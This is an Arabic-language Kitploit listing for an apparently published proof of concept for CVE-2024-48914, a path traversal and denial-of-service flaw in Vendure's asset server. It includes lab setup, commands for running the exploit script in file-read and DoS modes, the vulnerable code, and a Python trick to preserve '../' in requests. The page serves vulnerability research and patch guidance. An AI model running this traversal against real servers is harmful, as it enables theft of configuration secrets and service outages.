Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-48914 — قراءة ملف تعسفي وDoS في exploit vendure-ecommerce | Kitploit
أدوات/GitHubGitHub/eqstlab/cve-2024-48914
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتجمع المعلوماتاختبار الاختراق
GitHubeqstlab/cve-2024-48914

CVE-2024-48914

قراءة ملف تعسفي وDoS في exploit vendure-ecommerce

عرض المستودع
5منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

هذه المقالة هي بحث منشور من قبل EQSTLab.

شكرًا لـ Rajesh Sharma الذي اكتشف هذه الثغرة.

CVE-2024-48914

★ CVE-2024-48914 - إثبات مفهوم لقراءة الملفات التعسفية وهجمات حجب الخدمة ★

الوصف

CVE-2024-48914: ثغرة قراءة ملفات تعسفية وهجوم حجب خدمة في vendure-ecommerce

الوصف: Vendure هي منصة تجارة إلكترونية مفتوحة المصدر بدون واجهة أمامية. قبل الإصدارين 3.0.5 و 2.3.3، توجد ثغرة في إضافة خادم الأصول في Vendure تسمح للمهاجم بتشكيل طلب يمكنه اجتياز نظام ملفات الخادم واسترجاع محتويات ملفات عشوائية، بما في ذلك البيانات الحساسة مثل ملفات الإعدادات ومتغيرات البيئة وغيرها من البيانات الهامة المخزنة على الخادم. في نفس مسار الكود، يوجد متجه إضافي لتعطيل الخادم عبر URI مشوه. تتوفر تصحيحات في الإصدارين 3.0.5 و 2.3.3. تتوفر أيضًا بعض الحلول البديلة. يمكن استخدام تخزين الكائنات بدلاً من نظام الملفات المحلي، مثل MinIO أو S3، أو تعريف وسيطة (middleware) تكتشف وتحظر الطلبات التي تحتوي على /../ في عناوين URL.

إعداد المختبر

تنزيل الإصدار الضعيف (v3.0.4):

تثبيت التبعيات الرئيسية

root@kitploit:~
npm install

بناء جميع الحزم

root@kitploit:~
npm run build

إعداد قاعدة البيانات و Elasticsearch

docker-compose.yml

root@kitploit:~
# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
  mariadb:
    image: 'bitnami/mariadb:latest'
    container_name: mariadb
    environment:
      MARIADB_DATABASE: vendure-dev
      MARIADB_ROOT_USER: vendure
      MARIADB_ROOT_PASSWORD: password
    volumes:
      - 'mariadb_data:/bitnami'
    ports:
      - '3306:3306'
  mysql_8:
    image: bitnami/mysql:8.0
    container_name: mysql-8
    environment:
      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
      MYSQL_DATABASE: vendure-dev
      MYSQL_ROOT_USER: vendure
      MYSQL_ROOT_PASSWORD: password
    volumes:
      - 'mysql_data:/bitnami'
    ports:
      - '3306:3306'
  mysql_5:
    image: bitnami/mysql:5.7
    container_name: mysql-5.7
    environment:
      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
      MYSQL_DATABASE: vendure-dev
      MYSQL_ROOT_USER: vendure
      MYSQL_ROOT_PASSWORD: password
    volumes:
      - 'mysql_data:/bitnami'
    ports:
      - '3306:3306'
  postgres_12:
    image: postgres:12.3
    container_name: postgres_12
    environment:
      POSTGRES_DB: vendure-dev
      POSTGRES_USER: vendure
      POSTGRES_PASSWORD: password
      PGDATA: /var/lib/postgresql/data
    volumes:
      - postgres_12_data:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
  postgres_16:
    image: postgres:16
    container_name: postgres_16
    environment:
      POSTGRES_DB: vendure-dev
      POSTGRES_USER: vendure
      POSTGRES_PASSWORD: password
      PGDATA: /var/lib/postgresql/data
    volumes:
      - postgres_16_data:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
  # This is the Keycloak service which is used
  # to test the Keycloak auth strategy
  keycloak:
    image: quay.io/keycloak/keycloak
    ports:
      - "9000:8080"
    environment:
      KEYCLOAK_ADMIN: admin
      KEYCLOAK_ADMIN_PASSWORD: admin
    command:
      - start-dev
      - --import-realm
    volumes:
      - keycloak_data:/opt/keycloak/data
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
    container_name: elasticsearch
    environment:
      - discovery.type=single-node
      - bootstrap.memory_lock=true
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
    ulimits:
      memlock:
        soft: -1
        hard: -1
    volumes:
      - esdata:/usr/share/elasticsearch/data
    ports:
      - 9200:9200
  redis:
    image: bitnami/redis:7.4.1
    hostname: redis
    container_name: redis
    environment:
      - ALLOW_EMPTY_PASSWORD=yes
    ports:
      - "6379:6379"
volumes:
  postgres_16_data:
    driver: local
  postgres_12_data:
    driver: local
  mariadb_data:
    driver: local
  mysql_data:
    driver: local
  keycloak_data:
    driver: local
  esdata:
    driver: local

الأمر للتشغيل

root@kitploit:~
docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start

طريقة الاستخدام

استنساخ المستودع

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914

تثبيت الحزم

root@kitploit:~
pip install -r requirements.txt

الأمر

root@kitploit:~
# قراءة ملف تعسفي (الوضع 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# هجوم حجب الخدمة (الوضع 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2

المخرجات

CVE-2024-48914.py (قراءة ملف تعسفي) alt text

CVE-2024-48914.py (هجوم حجب الخدمة) alt text alt text

التحليل

vendure/packages/asset-server-plugin/src/plugin.ts

root@kitploit:~
 const decodedReqPath = decodeURIComponent(req.path);
        if (imageParamsString !== '') {
            const imageParamHash = this.md5(imageParamsString);
            return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
        } else {
            return decodedReqPath;
        }

تنشأ الثغرة من استخدام decodedReqPath مباشرةً في path.join دون إجراء أي تطبيع للمسار، مثل path.normalize في Node.js. تسمح هذه الثغرة للمهاجم بتشكيل طلب يمكنه اجتياز نظام ملفات الخادم واسترجاع محتويات ملفات عشوائية، بما في ذلك البيانات الحساسة مثل ملفات الإعدادات ومتغيرات البيئة وغيرها من البيانات الهامة المخزنة على الخادم.

نصائح بايثون

عند استخدام وحدة الطلبات (requests) في بايثون، يتم إزالة "../" من مسار URL. إذا استخدمت "الطلبات المعدة" (prepared requests) كما هو موضح أدناه، يمكنك استخدام وحدة الطلبات دون إزالة "../" من مسار URL.

root@kitploit:~
def readFile(self) -> None:
        url = f"{self.url}/assets/../{self.file}"
        s = requests.Session()
        req = requests.Request(method='GET' ,url=url)
        prep = req.prepare()
        prep.url = url
        response = s.send(prep, verify=False)
...

إخلاء مسؤولية

هذا المستودع ليس مخصصًا ليكون استغلالًا لقراءة ملفات تعسفية أو هجوم حجب خدمة لـ CVE-2024-48914. الغرض من هذا المشروع هو مساعدة الناس على تعلم هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.

المراجع

https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq https://github.com/vendure-ecommerce/vendure/tree/v3.0.4

تنزيل الأداة